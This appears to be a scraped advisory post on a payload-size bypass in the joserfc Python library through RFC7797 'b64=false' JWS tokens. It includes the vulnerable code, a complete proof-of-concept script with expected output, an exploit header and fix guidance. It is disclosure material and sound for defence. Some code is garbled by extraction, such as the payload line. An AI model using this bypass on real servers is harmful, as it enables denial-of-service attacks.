Listen to this Post
The `joserfc` Python library implements JWS, JWE, JWK, and JWT standards. By default, the `JWSRegistry` enforces a `max_payload_length` of 128,000 bytes, and the `validate_payload_size()` method is exposed to check payloads against this limit. In the normal JWS compact and flattened JSON serialization paths, the library calls this check before base64url-decoding the payload, raising an `ExceededSizeError` if the payload exceeds the configured maximum.
However, RFC7797 introduces the `b64=false` header parameter, which allows the JWS payload to be transmitted unencoded (i.e., not base64url-encoded). In `joserfc` versions 1.3.4 through 1.6.5, the code paths that handle RFC7797 unencoded payloads do not call `registry.validate_payload_size(payload_segment)` before accepting the payload. Specifically, in the compact serialization path, after validating the header and signature segment sizes, the unencoded payload is assigned directly:
if is_rfc7797_enabled(protected): if not payload_segment and payload: payload_segment = to_bytes(payload) payload = payload_segment
The flattened JSON path exhibits the same omission:
payload_segment = value["payload"].encode("utf-8")
if is_rfc7797_enabled(member.headers()):
payload = payload_segment
Neither branch enforces the size limit. As a result, an attacker can craft a valid JWS with the `b64=false` header and a payload of arbitrary size (e.g., 128,001 bytes) that will be accepted and deserialized successfully, bypassing the intended size restriction. The normal JWS paths (with `b64=true` or omitted) correctly reject the same oversized payload.
This behavior was reproduced across multiple releases: 1.3.4, 1.3.5, 1.4.2, 1.6.2, 1.6.3, 1.6.4, and 1.6.5. The vulnerability is distinct from CVE-2025-65015 (which deals with oversized token parts in exception messages) and CVE-2026-27932 (which involves unbounded PBES2 iteration counts in JWE). Applications that accept low‑trust JWS values and rely on `joserfc` to reject oversized tokens are exposed to a moderate availability risk, as an attacker can exhaust server resources by sending large payloads.
DailyCVE Form:
Platform: Python pip
Version: 1.3.4-1.6.5
Vulnerability: Payload size bypass
Severity: Medium (CVSS 5.3)
date: 2026-06-17
Prediction: 2026-05-23
What Undercode Say:
Check installed joserfc version
python -c "import joserfc; print(joserfc.<strong>version</strong>)"
Run the proof-of-concept to verify the bypass
cat > joserfc_rfc7797_size_bypass_poc.py << 'EOF'
!/usr/bin/env python3
import json
import joserfc
from joserfc import jws
from joserfc.jwk import OctKey
def check_compact(name, header, payload, key):
token = jws.serialize_compact(header, payload, key)
try:
obj = jws.deserialize_compact(token, key)
return {
"case": name,
"accepted": True,
"exception": None,
"payload_len_after_deserialize": len(obj.payload),
}
except Exception as exc:
return {
"case": name,
"accepted": False,
"exception": type(exc).<strong>name</strong>,
"error": str(exc),
}
def check_json(name, protected, payload, key):
data = jws.serialize_json({"protected": protected}, payload, key)
try:
obj = jws.deserialize_json(data, key)
return {
"case": name,
"accepted": True,
"exception": None,
"payload_len_after_deserialize": len(obj.payload),
}
except Exception as exc:
return {
"case": name,
"accepted": False,
"exception": type(exc).<strong>name</strong>,
"error": str(exc),
}
key = OctKey.import_key("secret-secret-secret")
limit = jws.default_registry.max_payload_length
payload = "A" (limit + 1)
results = {
"joserfc_version": joserfc.<strong>version</strong>,
"default_max_payload_length": limit,
"payload_len": len(payload),
"compact": [
check_compact("normal_b64_true", {"alg": "HS256"}, payload, key),
check_compact(
"rfc7797_b64_false",
{"alg": "HS256", "b64": False, "crit": ["b64"]},
payload, key,
),
],
"json": [
check_json("normal_b64_true_json", {"alg": "HS256"}, payload, key),
check_json(
"rfc7797_b64_false_json",
{"alg": "HS256", "b64": False, "crit": ["b64"]},
payload, key,
),
],
}
print(json.dumps(results, indent=2, sort_keys=True))
EOF
python joserfc_rfc7797_size_bypass_poc.py
Expected output on vulnerable versions (1.3.4 – 1.6.5):
{
"default_max_payload_length": 128000,
"payload_len": 128001,
"compact": [
{
"case": "normal_b64_true",
"accepted": false,
"exception": "ExceededSizeError"
},
{
"case": "rfc7797_b64_false",
"accepted": true,
"exception": null,
"payload_len_after_deserialize": 128001
}
],
"json": [
{
"case": "normal_b64_true_json",
"accepted": false,
"exception": "ExceededSizeError"
},
{
"case": "rfc7797_b64_false_json",
"accepted": true,
"exception": null,
"payload_len_after_deserialize": 128001
}
]
}
Exploit:
An unauthenticated attacker can send a JWS with the header `{“alg”:”HS256″,”b64″:false,”crit”:[“b64”]}` and a payload of size exceeding `JWSRegistry.max_payload_length` (e.g., 128,001 bytes). The token is accepted and deserialized without raising ExceededSizeError, consuming memory and CPU on the server. Repeated exploitation can lead to resource exhaustion and denial of service.
Protection:
- Upgrade to `joserfc` version 1.6.7 or later, where the fix is applied.
- Workaround: Reject oversized serialized JWS inputs before passing them to `joserfc` (e.g., check `Content-Length` or token length at the application/reverse‑proxy layer).
- Disable RFC7797 `b64=false` tokens entirely if not required by your application.
- Apply `registry.validate_payload_size(payload_segment)` to the RFC7797 unencoded payload paths in both compact and flattened JSON extraction routines if you maintain a patched fork.
Impact:
Successful exploitation allows an attacker to bypass the configured payload‑size limit, leading to uncontrolled memory allocation and CPU consumption. This can cause service degradation or complete denial of service for applications that process untrusted JWS tokens. The CVSS v3.1 base score is 5.3 (Medium) with vector AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L. The vulnerability affects all versions from 1.3.4 through 1.6.5 and is fixed in 1.6.7 (released May 23, 2026).
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
